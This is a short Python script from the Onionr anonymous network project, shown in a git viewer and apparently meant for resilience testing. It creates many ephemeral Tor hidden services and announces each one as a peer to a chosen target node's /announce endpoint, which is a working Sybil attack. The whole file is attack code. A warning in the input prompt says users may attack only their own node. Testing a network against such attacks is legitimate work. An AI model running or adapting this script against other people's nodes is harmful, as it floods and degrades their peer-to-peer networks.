onionr/scripts/sybil-attack.py

41 lines
1.1 KiB
Python
Raw Normal View History

2020-08-23 12:17:10 +00:00
import sys
import os
import stem
if not os.path.exists('onionr.sh'):
os.chdir('../')
sys.path.append("src/")
from onionrutils import stringvalidators
from onionrutils import basicrequests
from stem.control import Controller
onionr_ip = input("onionr ip address: ")
onionr_port = int(input("Enter onionr public api port: "))
controller = Controller.from_port('127.0.0.1', int(input("Enter tor controller port: ")))
controller.authenticate()
2020-08-23 16:54:14 +00:00
node = input("Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues: ")
assert stringvalidators.validate_transport(node)
socks = input("Socks:")
adders = set([])
for i in range(int(input("Sybil addresses: "))):
2020-08-23 12:17:10 +00:00
response = controller.create_ephemeral_hidden_service({80: f'{onionr_ip}:{onionr_port}'}, await_publication=True)
2020-08-23 16:54:14 +00:00
#print(i, response.service_id)
adders.add(response.service_id)
2020-08-23 12:17:10 +00:00
2020-08-23 16:54:14 +00:00
for x in adders:
x += '.onion'
print(f"Introducing {x} to {node}")
basicrequests.do_post_request(
f'http://{node}/announce',
data = {'node': x},
port=socks)
2020-08-23 12:17:10 +00:00